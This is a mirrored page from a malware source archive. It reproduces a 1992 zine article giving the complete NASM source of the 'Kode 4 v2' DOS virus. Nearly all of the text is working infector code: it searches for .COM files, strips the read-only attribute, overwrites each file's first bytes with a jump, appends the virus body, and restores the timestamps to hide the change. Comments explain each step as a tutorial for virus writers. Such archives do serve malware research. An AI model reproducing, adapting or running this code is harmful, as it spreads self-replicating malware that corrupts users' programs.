mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
192 lines
6.5 KiB
NASM
192 lines
6.5 KiB
NASM
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
|
|
|
|
Article Title: Kode 4 v2 Virus
|
|
Author: Soltan Griss
|
|
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
V_Length equ vend-vstart
|
|
KODE4 proc far
|
|
start label near
|
|
db 0E9h,00h,00h
|
|
|
|
|
|
vstart equ $
|
|
|
|
mov si,100h ;get si to point to 100
|
|
mov di,102h ;get di to point to 102
|
|
lback: inc di ;increment di
|
|
mov ax,word ptr [si] ;si is ponting to ax
|
|
cmp word ptr [di],ax ;compare ax with di loc
|
|
jne lback ;INE go back and inc di
|
|
|
|
|
|
mov ax,word ptr [si+1]
|
|
cmp ax,word ptr [di+1]
|
|
je lout
|
|
jmp lback
|
|
|
|
lout: add di,3h ;jmp stored in the end
|
|
sub di,(v_length+100h) ;+3 to get to end and -
|
|
mov si,di ;
|
|
;**********************************************************************
|
|
;*
|
|
;* The above code can be re-written as follows...
|
|
;* The above idea, although it works is very long in code....
|
|
;* when DOS does a load and execute it pushes all registers the last
|
|
;* register to be pushed contains the file length. so just subtract
|
|
;* the current location
|
|
;**********************************************************************
|
|
;
|
|
;
|
|
;
|
|
;Host_Off: pop bp
|
|
; sub bp,offset host_off
|
|
; mov si,bp
|
|
;
|
|
;*** Before opening any file copy the original three bytes back to 100h
|
|
;*** Because they will get overwritten when you check any new files
|
|
lea di,temp_buff
|
|
add di,si
|
|
mov ax,word ptr [di]
|
|
mov cl,byte ptr [di+2]
|
|
mov di,100h
|
|
mov word ptr [di],ax
|
|
mov byte ptr [di+2],cl
|
|
|
|
|
|
mov ah,4Eh ;Find first Com file
|
|
mov dx,offset filename ; offset of "*.com"
|
|
add dx,si
|
|
int 21h
|
|
jnc back
|
|
jmp done
|
|
Back:
|
|
mov ah,43h ;get rid of read only
|
|
mov al,0
|
|
mov dx,9eh
|
|
int 21h
|
|
mov ah,43h
|
|
mov al,01
|
|
and cx,11111110b
|
|
int 21h
|
|
|
|
mov ax,3D02h ;Open file for read/writing
|
|
mov dx,9Eh ;get file name from file DTA
|
|
int 21h
|
|
jnc next
|
|
jmp done
|
|
next: mov bx,ax ;save handle in bx
|
|
mov ah,57h ;get time date
|
|
mov al,0
|
|
int 21h
|
|
|
|
push cx ;put in stack for later
|
|
push dx
|
|
|
|
mov ax,4200h ; Move ptr to start of file
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
|
|
mov ah,3fh ;load first 3 bytes
|
|
mov cx,3
|
|
|
|
mov dx,offset temp_buff
|
|
add dx,si
|
|
int 21h
|
|
|
|
xor cx,cx ;move file pointer to end of file
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
int 21h
|
|
sub ax,3 ; Fix for real location
|
|
push ax
|
|
; nop ;
|
|
; nop ; used for debugging
|
|
; nop ;
|
|
; nop ;
|
|
; nop
|
|
|
|
mov di,offset temp_buff
|
|
add di,si
|
|
mov word ptr [j_code2+si],ax; Save two bytes in a
|
|
; word [jumpin]
|
|
|
|
cmp byte ptr [di],0e9h ;look for a jmp at begining
|
|
jne infect
|
|
|
|
mov cx,word ptr [di+1] ;check for XXX bytes at end
|
|
pop ax
|
|
sub ax,v_length
|
|
cmp ax, cx ; jump (id string to check)
|
|
jne infect
|
|
jmp finish
|
|
|
|
|
|
|
|
infect:
|
|
|
|
xor cx,cx ;move file pointer to begining
|
|
xor dx,dx ;to write jump
|
|
mov ax,4200h
|
|
int 21h
|
|
|
|
mov ah,40h ;write jump in first 3 bytes
|
|
mov cx,3
|
|
mov dx, offset j_code1
|
|
add dx,si
|
|
int 21h
|
|
|
|
xor cx,cx ;move file pointer to end of file
|
|
xor dx,dx
|
|
mov ax, 4202h
|
|
int 21h
|
|
|
|
mov dx,offset vstart
|
|
add dx,si ;Start writing at top of virus
|
|
mov cx,(vend-vstart) ; Set for length of virus
|
|
mov ah,40h ;Write Data into the file
|
|
int 21h
|
|
|
|
|
|
Finish: pop dx ;Restore old dates and times
|
|
pop cx
|
|
mov ah,57h
|
|
mov al,01h
|
|
int 21h
|
|
|
|
mov ah,3Eh ;Close the file
|
|
int 21h
|
|
|
|
mov ah,4Fh ;Find Next file
|
|
int 21h
|
|
jc done
|
|
jmp back
|
|
|
|
done:
|
|
mov bp,100h
|
|
jmp bp
|
|
|
|
|
|
filename db "*.com",0
|
|
DATA db " -=+ Kode4 +=-, The one and ONLY!$"
|
|
|
|
j_code1 db 0e9h
|
|
j_code2 db 00h,00h
|
|
temp_buff db 0cdh,020h,090h ; CD 20 NOP
|
|
kode4 endp
|
|
|
|
vend equ $
|
|
|
|
seg_a ends
|
|
|
|
end start
|
|
|
|
|